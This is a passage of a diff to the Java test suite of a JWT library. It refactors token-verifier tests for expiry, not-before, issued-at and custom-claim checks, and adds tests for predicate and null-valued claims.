-    public void shouldOverrideDefaultExpiresAtLeeway() throws Exception {
+    public void shouldOverrideDefaultExpiresAtLeeway() {
         Algorithm algorithm = mock(Algorithm.class);
-        JWTVerifier verifier = JWTVerifier.init(algorithm)
+        JWTVerifier.BaseVerification verification = (JWTVerifier.BaseVerification) JWTVerifier.init(algorithm);
+        JWTVerifier verifier = verification
                 .acceptLeeway(1234L)
                 .acceptExpiresAt(9999L)
                 .build();
 
-        assertThat(verifier.claims, is(notNullValue()));
-        assertThat(verifier.claims, hasEntry("iat", (Object) 1234L));
-        assertThat(verifier.claims, hasEntry("exp", (Object) 9999L));
-        assertThat(verifier.claims, hasEntry("nbf", (Object) 1234L));
+        assertThat(verifier.expectedChecks, is(notNullValue()));
+        assertThat(verification.getLeewayFor(RegisteredClaims.ISSUED_AT), is(1234L));
+        assertThat(verification.getLeewayFor(RegisteredClaims.EXPIRES_AT), is(9999L));
+        assertThat(verification.getLeewayFor(RegisteredClaims.NOT_BEFORE), is(1234L));
     }
 
-    @SuppressWarnings("RedundantCast")
     @Test
-    public void shouldOverrideDefaultNotBeforeLeeway() throws Exception {
+    public void shouldOverrideDefaultNotBeforeLeeway() {
         Algorithm algorithm = mock(Algorithm.class);
-        JWTVerifier verifier = JWTVerifier.init(algorithm)
+        JWTVerifier.BaseVerification verification = (JWTVerifier.BaseVerification) JWTVerifier.init(algorithm);
+        JWTVerifier verifier = verification
                 .acceptLeeway(1234L)
                 .acceptNotBefore(9999L)
                 .build();
 
-        assertThat(verifier.claims, is(notNullValue()));
-        assertThat(verifier.claims, hasEntry("iat", (Object) 1234L));
-        assertThat(verifier.claims, hasEntry("exp", (Object) 1234L));
-        assertThat(verifier.claims, hasEntry("nbf", (Object) 9999L));
+        assertThat(verifier.expectedChecks, is(notNullValue()));
+        assertThat(verification.getLeewayFor(RegisteredClaims.ISSUED_AT), is(1234L));
+        assertThat(verification.getLeewayFor(RegisteredClaims.EXPIRES_AT), is(1234L));
+        assertThat(verification.getLeewayFor(RegisteredClaims.NOT_BEFORE), is(9999L));
     }
 
     @Test
-    public void shouldThrowOnNegativeCustomLeeway() throws Exception {
+    public void shouldThrowOnNegativeCustomLeeway() {
         exception.expect(IllegalArgumentException.class);
         exception.expectMessage("Leeway value can't be negative.");
         Algorithm algorithm = mock(Algorithm.class);
         JWTVerifier.init(algorithm)
                 .acceptLeeway(-1);
     }
 
-    @Test
-    public void shouldNotModifyOriginalClockDateWhenVerifying() throws Exception {
-        Clock clock = mock(Clock.class);
-        Date clockDate = spy(new Date(DATE_TOKEN_MS_VALUE));
-        when(clock.getToday()).thenReturn(clockDate);
-
-        String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE0Nzc1OTJ9.isvT0Pqx0yjnZk53mUFSeYFJLDs-Ls9IsNAm86gIdZo";
-        JWTVerifier.BaseVerification verification = (JWTVerifier.BaseVerification) JWTVerifier.init(Algorithm.HMAC256("secret"));
-        JWTVerifier verifier = verification
-                .build(clock);
-
-        DecodedJWT jwt = verifier.verify(token);
-        assertThat(jwt, is(notNullValue()));
-
-        verify(clockDate, never()).setTime(anyLong());
-    }
-
     // Expires At
     @Test
-    public void shouldValidateExpiresAtWithLeeway() throws Exception {
-        Clock clock = mock(Clock.class);
-        when(clock.getToday()).thenReturn(new Date(DATE_TOKEN_MS_VALUE + 1000));
-
+    public void shouldValidateExpiresAtWithLeeway() {
         String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE0Nzc1OTJ9.isvT0Pqx0yjnZk53mUFSeYFJLDs-Ls9IsNAm86gIdZo";
         JWTVerifier.BaseVerification verification = (JWTVerifier.BaseVerification) JWTVerifier.init(Algorithm.HMAC256("secret"))
                 .acceptExpiresAt(2);
         DecodedJWT jwt = verification
-                .build(clock)
+                .build(mockOneSecondLater)
                 .verify(token);
 
         assertThat(jwt, is(notNullValue()));
     }
 
     @Test
-    public void shouldValidateExpiresAtIfPresent() throws Exception {
-        Clock clock = mock(Clock.class);
-        when(clock.getToday()).thenReturn(new Date(DATE_TOKEN_MS_VALUE));
-
+    public void shouldValidateExpiresAtIfPresent() {
         String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE0Nzc1OTJ9.isvT0Pqx0yjnZk53mUFSeYFJLDs-Ls9IsNAm86gIdZo";
         JWTVerifier.BaseVerification verification = (JWTVerifier.BaseVerification) JWTVerifier.init(Algorithm.HMAC256("secret"));
         DecodedJWT jwt = verification
-                .build(clock)
+                .build(mockNow)
                 .verify(token);
 
         assertThat(jwt, is(notNullValue()));
     }
 
     @Test
-    public void shouldThrowOnInvalidExpiresAtIfPresent() throws Exception {
-        exception.expect(TokenExpiredException.class);
-        exception.expectMessage(startsWith("The Token has expired on"));
-        Clock clock = mock(Clock.class);
-        when(clock.getToday()).thenReturn(new Date(DATE_TOKEN_MS_VALUE + 1000));
-
-        String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE0Nzc1OTJ9.isvT0Pqx0yjnZk53mUFSeYFJLDs-Ls9IsNAm86gIdZo";
-        JWTVerifier.BaseVerification verification = (JWTVerifier.BaseVerification) JWTVerifier.init(Algorithm.HMAC256("secret"));
-        verification
-                .build(clock)
-                .verify(token);
+    public void shouldThrowOnInvalidExpiresAtIfPresent() {
+        TokenExpiredException e = assertThrows(null, TokenExpiredException.class, () -> {
+            String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE0Nzc1OTJ9.isvT0Pqx0yjnZk53mUFSeYFJLDs-Ls9IsNAm86gIdZo";
+            JWTVerifier.BaseVerification verification = (JWTVerifier.BaseVerification) JWTVerifier.init(Algorithm.HMAC256("secret"));
+            verification
+                    .build(mockOneSecondLater)
+                    .verify(token);
+        });
+        assertThat(e.getMessage(), is("The Token has expired on 1970-01-18T02:26:32Z."));
+        assertThat(e.getExpiredOn(), is(Instant.ofEpochSecond(1477592L)));
     }
 
     @Test
-    public void shouldThrowOnNegativeExpiresAtLeeway() throws Exception {
+    public void shouldThrowOnNegativeExpiresAtLeeway() {
         exception.expect(IllegalArgumentException.class);
         exception.expectMessage("Leeway value can't be negative.");
         Algorithm algorithm = mock(Algorithm.class);
@@ -730,50 +704,44 @@ public void shouldThrowOnNegativeExpiresAtLeeway() throws Exception {
 
     // Not before
     @Test
-    public void shouldValidateNotBeforeWithLeeway() throws Exception {
-        Clock clock = mock(Clock.class);
-        when(clock.getToday()).thenReturn(new Date(DATE_TOKEN_MS_VALUE - 1000));
-
+    public void shouldValidateNotBeforeWithLeeway() {
         String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYmYiOjE0Nzc1OTJ9.wq4ZmnSF2VOxcQBxPLfeh1J2Ozy1Tj5iUaERm3FKaw8";
         JWTVerifier.BaseVerification verification = (JWTVerifier.BaseVerification) JWTVerifier.init(Algorithm.HMAC256("secret"))
                 .acceptNotBefore(2);
         DecodedJWT jwt = verification
-                .build(clock)
+                .build(mockOneSecondEarlier)
                 .verify(token);
 
         assertThat(jwt, is(notNullValue()));
     }
 
     @Test
-    public void shouldThrowOnInvalidNotBeforeIfPresent() throws Exception {
-        exception.expect(InvalidClaimException.class);
-        exception.expectMessage(startsWith("The Token can't be used before"));
-        Clock clock = mock(Clock.class);
-        when(clock.getToday()).thenReturn(new Date(DATE_TOKEN_MS_VALUE - 1000));
-
-        String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYmYiOjE0Nzc1OTJ9.wq4ZmnSF2VOxcQBxPLfeh1J2Ozy1Tj5iUaERm3FKaw8";
-        JWTVerifier.BaseVerification verification = (JWTVerifier.BaseVerification) JWTVerifier.init(Algorithm.HMAC256("secret"));
-        verification
-                .build(clock)
-                .verify(token);
+    public void shouldThrowOnInvalidNotBeforeIfPresent() {
+        IncorrectClaimException e = assertThrows(null, IncorrectClaimException.class, () -> {
+            String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYmYiOjE0Nzc1OTJ9.wq4ZmnSF2VOxcQBxPLfeh1J2Ozy1Tj5iUaERm3FKaw8";
+            JWTVerifier.BaseVerification verification = (JWTVerifier.BaseVerification) JWTVerifier.init(Algorithm.HMAC256("secret"));
+            verification
+                    .build(mockOneSecondEarlier)
+                    .verify(token);
+        });
+        assertThat(e.getMessage(), is("The Token can't be used before 1970-01-18T02:26:32Z."));
+        assertThat(e.getClaimName(), is(RegisteredClaims.NOT_BEFORE));
+        assertThat(e.getClaimValue().asLong(), is(1477592L));
     }
 
     @Test
-    public void shouldValidateNotBeforeIfPresent() throws Exception {
-        Clock clock = mock(Clock.class);
-        when(clock.getToday()).thenReturn(new Date(DATE_TOKEN_MS_VALUE));
-
+    public void shouldValidateNotBeforeIfPresent() {
         String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE0Nzc1OTJ9.isvT0Pqx0yjnZk53mUFSeYFJLDs-Ls9IsNAm86gIdZo";
         JWTVerifier.BaseVerification verification = (JWTVerifier.BaseVerification) JWTVerifier.init(Algorithm.HMAC256("secret"));
         DecodedJWT jwt = verification
-                .build(clock)
+                .build(mockNow)
                 .verify(token);
 
         assertThat(jwt, is(notNullValue()));
     }
 
     @Test
-    public void shouldThrowOnNegativeNotBeforeLeeway() throws Exception {
+    public void shouldThrowOnNegativeNotBeforeLeeway() {
         exception.expect(IllegalArgumentException.class);
         exception.expectMessage("Leeway value can't be negative.");
         Algorithm algorithm = mock(Algorithm.class);
@@ -782,78 +750,71 @@ public void shouldThrowOnNegativeNotBeforeLeeway() throws Exception {
     }
 
     // Issued At with future date
-    @Test(expected = InvalidClaimException.class)
-    public void shouldThrowOnFutureIssuedAt() throws Exception {
-        Clock clock = mock(Clock.class);
-        when(clock.getToday()).thenReturn(new Date(DATE_TOKEN_MS_VALUE - 1000));
-
-        String token = "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpYXQiOjE0Nzc1OTJ9.CWq-6pUXl1bFg81vqOUZbZrheO2kUBd2Xr3FUZmvudE";
-        JWTVerifier.BaseVerification verification = (JWTVerifier.BaseVerification) JWTVerifier.init(Algorithm.HMAC256("secret"));
+    @Test
+    public void shouldThrowOnFutureIssuedAt() {
+        IncorrectClaimException e = assertThrows(null, IncorrectClaimException.class, () -> {
+            String token = "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpYXQiOjE0Nzc1OTJ9.CWq-6pUXl1bFg81vqOUZbZrheO2kUBd2Xr3FUZmvudE";
+            JWTVerifier.BaseVerification verification = (JWTVerifier.BaseVerification) JWTVerifier.init(Algorithm.HMAC256("secret"));
 
-        DecodedJWT jwt = verification.build(clock).verify(token);
-        assertThat(jwt, is(notNullValue()));
+            DecodedJWT jwt = verification.build(mockOneSecondEarlier).verify(token);
+            assertThat(jwt, is(notNullValue()));
+        });
+        assertThat(e.getMessage(), is("The Token can't be used before 1970-01-18T02:26:32Z."));
+        assertThat(e.getClaimName(), is(RegisteredClaims.ISSUED_AT));
+        assertThat(e.getClaimValue().asLong(), is(1477592L));
     }
 
     // Issued At with future date and ignore flag
     @Test
-    public void shouldSkipIssuedAtVerificationWhenFlagIsPassed() throws Exception {
-        Clock clock = mock(Clock.class);
-        when(clock.getToday()).thenReturn(new Date(DATE_TOKEN_MS_VALUE - 1000));
-
+    public void shouldSkipIssuedAtVerificationWhenFlagIsPassed() {
         String token = "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpYXQiOjE0Nzc1OTJ9.CWq-6pUXl1bFg81vqOUZbZrheO2kUBd2Xr3FUZmvudE";
         JWTVerifier.BaseVerification verification = (JWTVerifier.BaseVerification) JWTVerifier.init(Algorithm.HMAC256("secret"));
         verification.ignoreIssuedAt();
 
-        DecodedJWT jwt = verification.build(clock).verify(token);
+        DecodedJWT jwt = verification.build(mockOneSecondEarlier).verify(token);
         assertThat(jwt, is(notNullValue()));
     }
 
     @Test
-    public void shouldThrowOnInvalidIssuedAtIfPresent() throws Exception {
-        exception.expect(InvalidClaimException.class);
-        exception.expectMessage(startsWith("The Token can't be used before"));
-        Clock clock = mock(Clock.class);
-        when(clock.getToday()).thenReturn(new Date(DATE_TOKEN_MS_VALUE - 1000));
-
-        String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpYXQiOjE0Nzc1OTJ9.0WJky9eLN7kuxLyZlmbcXRL3Wy8hLoNCEk5CCl2M4lo";
-        JWTVerifier.BaseVerification verification = (JWTVerifier.BaseVerification) JWTVerifier.init(Algorithm.HMAC256("secret"));
-        verification
-                .build(clock)
-                .verify(token);
+    public void shouldThrowOnInvalidIssuedAtIfPresent() {
+        IncorrectClaimException e = assertThrows(null, IncorrectClaimException.class, () -> {
+            String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpYXQiOjE0Nzc1OTJ9.0WJky9eLN7kuxLyZlmbcXRL3Wy8hLoNCEk5CCl2M4lo";
+            JWTVerifier.BaseVerification verification = (JWTVerifier.BaseVerification) JWTVerifier.init(Algorithm.HMAC256("secret"));
+            verification
+                    .build(mockOneSecondEarlier)
+                    .verify(token);
+        });
+        assertThat(e.getMessage(), is("The Token can't be used before 1970-01-18T02:26:32Z."));
+        assertThat(e.getClaimName(), is(RegisteredClaims.ISSUED_AT));
+        assertThat(e.getClaimValue().asLong(), is(1477592L));
     }
 
     @Test
-    public void shouldOverrideAcceptIssuedAtWhenIgnoreIssuedAtFlagPassedAndSkipTheVerification() throws Exception {
-        Clock clock = mock(Clock.class);
-        when(clock.getToday()).thenReturn(new Date(DATE_TOKEN_MS_VALUE - 10000));
-
+    public void shouldOverrideAcceptIssuedAtWhenIgnoreIssuedAtFlagPassedAndSkipTheVerification() {
         String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpYXQiOjE0Nzc1OTJ9.0WJky9eLN7kuxLyZlmbcXRL3Wy8hLoNCEk5CCl2M4lo";
         JWTVerifier.BaseVerification verification = (JWTVerifier.BaseVerification) JWTVerifier.init(Algorithm.HMAC256("secret"))
                 .acceptIssuedAt(1)
                 .ignoreIssuedAt();
         DecodedJWT jwt = verification
-                .build(clock)
+                .build(mockOneSecondEarlier)
                 .verify(token);
 
         assertThat(jwt, is(notNullValue()));
     }
 
     @Test
-    public void shouldValidateIssuedAtIfPresent() throws Exception {
-        Clock clock = mock(Clock.class);
-        when(clock.getToday()).thenReturn(new Date(DATE_TOKEN_MS_VALUE));
-
+    public void shouldValidateIssuedAtIfPresent() {
         String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpYXQiOjE0Nzc1OTJ9.0WJky9eLN7kuxLyZlmbcXRL3Wy8hLoNCEk5CCl2M4lo";
         JWTVerifier.BaseVerification verification = (JWTVerifier.BaseVerification) JWTVerifier.init(Algorithm.HMAC256("secret"));
         DecodedJWT jwt = verification
-                .build(clock)
+                .build(mockNow)
                 .verify(token);
 
         assertThat(jwt, is(notNullValue()));
     }
 
     @Test
-    public void shouldThrowOnNegativeIssuedAtLeeway() throws Exception {
+    public void shouldThrowOnNegativeIssuedAtLeeway() {
         exception.expect(IllegalArgumentException.class);
         exception.expectMessage("Leeway value can't be negative.");
         Algorithm algorithm = mock(Algorithm.class);
@@ -862,7 +823,7 @@ public void shouldThrowOnNegativeIssuedAtLeeway() throws Exception {
     }
 
     @Test
-    public void shouldValidateJWTId() throws Exception {
+    public void shouldValidateJWTId() {
         String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJqdGkiOiJqd3RfaWRfMTIzIn0.0kegfXUvwOYioP8PDaLMY1IlV8HOAzSVz3EGL7-jWF4";
         DecodedJWT jwt = JWTVerifier.init(Algorithm.HMAC256("secret"))
                 .withJWTId("jwt_id_123")
@@ -873,71 +834,73 @@ public void shouldValidateJWTId() throws Exception {
     }
 
     @Test
-    public void shouldThrowOnInvalidJWTId() throws Exception {
-        exception.expect(InvalidClaimException.class);
-        exception.expectMessage("The Claim 'jti' value doesn't match the required one.");
-        String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJqdGkiOiJqd3RfaWRfMTIzIn0.0kegfXUvwOYioP8PDaLMY1IlV8HOAzSVz3EGL7-jWF4";
-        JWTVerifier.init(Algorithm.HMAC256("secret"))
-                .withJWTId("invalid")
-                .build()
-                .verify(token);
+    public void shouldThrowOnInvalidJWTId() {
+        IncorrectClaimException e = assertThrows(null, IncorrectClaimException.class, () -> {
+            String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJqdGkiOiJqd3RfaWRfMTIzIn0.0kegfXUvwOYioP8PDaLMY1IlV8HOAzSVz3EGL7-jWF4";
+            JWTVerifier.init(Algorithm.HMAC256("secret"))
+                    .withJWTId("invalid")
+                    .build()
+                    .verify(token);
+        });
+        assertThat(e.getMessage(), is("The Claim 'jti' value doesn't match the required one."));
+        assertThat(e.getClaimName(), is("jti"));
+        assertThat(e.getClaimValue().asString(), is("jwt_id_123"));
     }
 
     @Test
-    public void shouldRemoveClaimWhenPassingNull() throws Exception {
+    public void shouldNotRemoveClaimWhenPassingNull() {
         Algorithm algorithm = mock(Algorithm.class);
         JWTVerifier verifier = JWTVerifier.init(algorithm)
                 .withIssuer("iss")
                 .withIssuer((String) null)
                 .build();
 
-        assertThat(verifier.claims, is(notNullValue()));
-        assertThat(verifier.claims, not(hasKey("iss")));
+        assertThat(verifier.expectedChecks, is(notNullValue()));
+        assertThat(verifier.expectedChecks.size(), is(5));
 
         verifier = JWTVerifier.init(algorithm)
                 .withIssuer("iss")
                 .withIssuer((String[]) null)
                 .build();
 
-        assertThat(verifier.claims, is(notNullValue()));
-        assertThat(verifier.claims, not(hasKey("iss")));
+        assertThat(verifier.expectedChecks, is(notNullValue()));
+        assertThat(verifier.expectedChecks.size(), is(5));
     }
 
     @Test
-    public void shouldRemoveIssuerWhenPassingNullReference() throws Exception {
+    public void shouldNotRemoveIssuerWhenPassingNullReference() {
         Algorithm algorithm = mock(Algorithm.class);
         JWTVerifier verifier = JWTVerifier.init(algorithm)
                 .withIssuer((String) null)
                 .build();
 
-        assertThat(verifier.claims, is(notNullValue()));
-        assertThat(verifier.claims, not(hasKey("iss")));
+        assertThat(verifier.expectedChecks, is(notNullValue()));
+        assertThat(verifier.expectedChecks.size(), is(4));
 
         verifier = JWTVerifier.init(algorithm)
                 .withIssuer((String[]) null)
                 .build();
 
-        assertThat(verifier.claims, is(notNullValue()));
-        assertThat(verifier.claims, not(hasKey("iss")));
+        assertThat(verifier.expectedChecks, is(notNullValue()));
+        assertThat(verifier.expectedChecks.size(), is(4));
 
         verifier = JWTVerifier.init(algorithm)
                 .withIssuer()
                 .build();
 
-        assertThat(verifier.claims, is(notNullValue()));
-        assertThat(verifier.claims, not(hasKey("iss")));
+        assertThat(verifier.expectedChecks, is(notNullValue()));
+        assertThat(verifier.expectedChecks.size(), is(4));
 
         String emptyIss = "  ";
         verifier = JWTVerifier.init(algorithm)
                 .withIssuer(emptyIss)
                 .build();
 
-        assertThat(verifier.claims, is(notNullValue()));
-        assertThat(verifier.claims, hasEntry("iss", Collections.singletonList(emptyIss)));
+        assertThat(verifier.expectedChecks, is(notNullValue()));
     }
 
     @Test
-    public void shouldSkipClaimValidationsIfNoClaimsRequired() throws Exception {
+    public void shouldSkipClaimValidationsIfNoClaimsRequired() {
         String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.e30.t-IDcSemACt8x4iTMCda8Yhe3iZaWbvV5XKSTbuAn0M";
         DecodedJWT jwt = JWTVerifier.init(Algorithm.HMAC256("secret"))
                 .build()
@@ -948,26 +911,27 @@ public void shouldSkipClaimValidationsIfNoClaimsRequired() throws Exception {
 
     @Test
     public void shouldThrowWhenVerifyingClaimPresenceButClaimNotPresent() {
-        exception.expect(InvalidClaimException.class);
-        exception.expectMessage("The Claim 'missing' is not present in the JWT.");
+        MissingClaimException e = assertThrows(null, MissingClaimException.class, () -> {
+            String jwt = JWTCreator.init()
+                    .withClaim("custom", "")
+                    .sign(Algorithm.HMAC256("secret"));
 
-        String jwt = JWTCreator.init()
-                .withClaim("custom", "")
-                .sign(Algorithm.HMAC256("secret"));
+            JWTVerifier verifier = JWTVerifier.init(Algorithm.HMAC256("secret"))
+                    .withClaimPresence("missing")
+                    .build();
 
-        JWTVerifier verifier = JWTVerifier.init(Algorithm.HMAC256("secret"))
-                .withClaimPresence("missing")
-                .build();
-
-        verifier.verify(jwt);
+            verifier.verify(jwt);
+        });
+        assertThat(e.getMessage(), is("The Claim 'missing' is not present in the JWT."));
+        assertThat(e.getClaimName(), is("missing"));
     }
 
     @Test
     public void shouldThrowWhenVerifyingClaimPresenceWhenClaimNameIsNull() {
         exception.expect(IllegalArgumentException.class);
         exception.expectMessage("The Custom Claim's name can't be null.");
 
-        String jwt = JWTCreator.init()
+        JWTCreator.init()
                 .withClaim("custom", "value")
                 .sign(Algorithm.HMAC256("secret"));
 
@@ -1086,4 +1050,227 @@ public void shouldVerifyStandardClaimPresence() {
         DecodedJWT decodedJWT = verifier.verify(jwt);
         assertThat(decodedJWT, is(notNullValue()));
     }
+
+    @Test
+    public void shouldSuccessfullyVerifyClaimWithPredicate() {
+        String jwt = JWTCreator.init()
+                .withClaim("claimName", "claimValue")
+                .sign(Algorithm.HMAC256("secret"));
+
+        JWTVerifier verifier = JWTVerifier.init(Algorithm.HMAC256("secret"))
+                .withClaim("claimName", (claim, decodedJWT) -> "claimValue".equals(claim.asString()))
+                .build();
+
+        DecodedJWT decodedJWT = verifier.verify(jwt);
+        assertThat(decodedJWT, is(notNullValue()));
+    }
+
+    @Test
+    public void shouldThrowWhenPredicateReturnsFalse() {
+        IncorrectClaimException e = assertThrows(null, IncorrectClaimException.class, () -> {
+            String jwt = JWTCreator.init()
+                    .withClaim("claimName", "claimValue")
+                    .sign(Algorithm.HMAC256("secret"));
+
+            JWTVerifier.init(Algorithm.HMAC256("secret"))
+                    .withClaim("claimName", (claim, decodedJWT) -> "nope".equals(claim.asString()))
+                    .build()
+                    .verify(jwt);
+        });
+        assertThat(e.getMessage(), is("The Claim 'claimName' value doesn't match the required one."));
+        assertThat(e.getClaimName(), is("claimName"));
+        assertThat(e.getClaimValue().asString(), is("claimValue"));
+    }
+
+    @Test
+    public void shouldNotRemovePredicateCheckForNull() {
+        JWTVerifier verifier = JWTVerifier.init(Algorithm.HMAC256("secret"))
+                .withClaim("claimName", (claim, decodedJWT) -> "nope".equals(claim.asString()))
+                .withClaim("claimName", (BiPredicate<Claim, DecodedJWT>) null)
+                .build();
+
+        assertThat(verifier.expectedChecks, is(notNullValue()));
+        assertThat(verifier.expectedChecks.size(), is(5));
+    }
+
+    @Test
+    public void shouldSuccessfullyVerifyClaimWithNull() {
+        String jwt = JWTCreator.init()
+                .withNullClaim("claimName")
+                .sign(Algorithm.HMAC256("secret"));
+
+        JWTVerifier verifier = JWTVerifier.init(Algorithm.HMAC256("secret"))
+                .withNullClaim("claimName")
+                .build();
+
+        DecodedJWT decodedJWT = verifier.verify(jwt);
+        assertThat(decodedJWT, is(notNullValue()));
+    }
+
+    @Test
+    public void shouldThrowWhenNullClaimHasValue() {
+        IncorrectClaimException e = assertThrows(null, IncorrectClaimException.class, () -> {
+            String jwt = JWTCreator.init()
+                    .withClaim("claimName", "value")
+                    .sign(Algorithm.HMAC256("secret"));
+
+            JWTVerifier.init(Algorithm.HMAC256("secret"))
+                    .withNullClaim("claimName")
+                    .build()
+                    .verify(jwt);
+        });
+        assertThat(e.getMessage(), is("The Claim 'claimName' value doesn't match the required one."));
+        assertThat(e.getClaimName(), is("claimName"));
+        assertThat(e.getClaimValue().asString(), is("value"));
+    }
+
+    @Test
+    public void shouldThrowWhenNullClaimIsMissing() {
+        MissingClaimException e = assertThrows(null, MissingClaimException.class, () -> {
+            String jwt = JWTCreator.init()
+                    .withClaim("claimName", "value")
+                    .sign(Algorithm.HMAC256("secret"));
+
+            JWTVerifier.init(Algorithm.HMAC256("secret"))
+                    .withNullClaim("anotherClaimName")
+                    .build()
+                    .verify(jwt);
+        });
+        assertThat(e.getMessage(), is("The Claim 'anotherClaimName' is not present in the JWT."));
+        assertThat(e.getClaimName(), is("anotherClaimName"));
+    }
+
+    @Test
+    public void shouldCheckForNullValuesForSubject() {
+        // sub = null
+        String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOm51bGx9.y5brmQQ05OYwVvlTg83njUrz6tfpdyWNh17LHU6DxmI";
+        DecodedJWT jwt = JWTVerifier.init(Algorithm.HMAC256("secret"))
+                .withSubject(null)
+                .build()
+                .verify(token);
+        assertThat(jwt, is(notNullValue()));
+    }
+
+    @Test
+    public void shouldCheckForNullValuesInIssuer() {
+        // iss = null
+        String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOm51bGx9.OoiCLipSfflWxkFX2rytvtwEiJ8eAL0opkdXY_ap0qA";
+        DecodedJWT jwt = JWTVerifier.init(Algorithm.HMAC256("secret"))
+                .withIssuer((String) null)
+                .withIssuer((String[]) null)
+                .withIssuer()
+                .build()
+                .verify(token);
+        assertThat(jwt, is(notNullValue()));
+    }
+
+    @Test
+    public void shouldCheckForNullValuesInJwtId() {
+        // jti = null
+        String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJqdGkiOm51bGx9.z_MDyl8uPGH0q0jeB54wbYt3bwKXamU_3MO8LofGvZs";
+        DecodedJWT jwt = JWTVerifier.init(Algorithm.HMAC256("secret"))
+                .withJWTId(null)
+                .build()
+                .verify(token);
+        assertThat(jwt, is(notNullValue()));
+    }
+
+    @Test
+    public void shouldCheckForNullValuesInCustomClaims() {
+        // jti = null
+        String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJjdXN0b20iOm51bGx9.inAuN3Q9UZ6WgbB63O43B1ero2MTqnfzzumr_5qYIls";
+        DecodedJWT jwt = JWTVerifier.init(Algorithm.HMAC256("secret"))
+                .withClaim("custom", (Boolean) null)
+                .withClaim("custom", (Integer) null)
+                .withClaim("custom", (Long) null)
+                .withClaim("custom", (Double) null)
+                .withClaim("custom", (String) null)
+                .withClaim("custom", (Date) null)
+                .withClaim("custom", (Instant) null)
+                .withClaim("custom", (BiPredicate<Claim, DecodedJWT>) null)
+                .withArrayClaim("custom", (String[]) null)
+                .withArrayClaim("custom", (Integer[]) null)
+                .withArrayClaim("custom", (Long[]) null)
+                .build()
+                .verify(token);
+        assertThat(jwt, is(notNullValue()));
+    }
+
+
+    @Test
+    public void shouldCheckForNullValuesForAudience() {
+        // aud = null
+        String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwiYXVkIjpudWxsfQ.bpPyquk3b8KepErKgTidjJ1ZwiOGuoTxam2_x7cElKI";
+        DecodedJWT jwt = JWTVerifier.init(Algorithm.HMAC256("secret"))
+                .withAudience((String[]) null)
+                .withAudience((String) null)
+                .withAudience()
+                .withAnyOfAudience((String[]) null)
+                .withAnyOfAudience((String) null)
+                .withAnyOfAudience()
+                .build()
+                .verify(token);
+        assertThat(jwt, is(notNullValue()));
+    }
+
+    @Test
+    public void shouldCheckForClaimPresenceEvenForNormalClaimChecks() {
+        MissingClaimException e = assertThrows(null, MissingClaimException.class, () -> {
+            String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwiYXVkIjpudWxsfQ.bpPyquk3b8KepErKgTidjJ1ZwiOGuoTxam2_x7cElKI";
+            JWTVerifier.init(Algorithm.HMAC256("secret"))
+                    .withClaim("custom", true)
+                    .build()
+                    .verify(token);
+        });
+        assertThat(e.getClaimName(), is("custom"));
+    }
+
+    @Test
+    public void shouldCheckForWrongLongClaim() {
+        IncorrectClaimException e = assertThrows(null, IncorrectClaimException.class, () -> {
+            String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJjdXN0b20iOjF9.00btiK0sv8pQ2T-hOr9GC5x2osi7--Bsk4pS5cTikqQ";
+            JWTVerifier.init(Algorithm.HMAC256("secret"))
+                    .withClaim("custom", 2L)
+                    .build()
+                    .verify(token);
+        });
+        assertThat(e.getClaimName(), is("custom"));
+        assertThat(e.getClaimValue().asLong(), is(1L));
+    }
+
+    @Test
+    public void shouldCheckForWrongLongArrayClaim() {
+        IncorrectClaimException e = assertThrows(null, IncorrectClaimException.class, () -> {
+            String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJjdXN0b20iOlsxXX0.R9ZSmgtJng062rcEc59u4VKCq89Yk5VlkN9BuMTMvr0";
+            JWTVerifier.init(Algorithm.HMAC256("secret"))
+                    .withArrayClaim("custom", 2L)
+                    .build()
+                    .verify(token);
+        });
+        assertThat(e.getClaimName(), is("custom"));
+    }
+
+    @Test
+    public void shouldCheckForWrongStringArrayClaim() {
+        IncorrectClaimException e = assertThrows(null, IncorrectClaimException.class, () -> {
+            String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJjdXN0b20iOlsxXX0.R9ZSmgtJng062rcEc59u4VKCq89Yk5VlkN9BuMTMvr0";
+            JWTVerifier.init(Algorithm.HMAC256("secret"))
+                    .withArrayClaim("custom", "2L")
+                    .build()
+                    .verify(token);
+        });
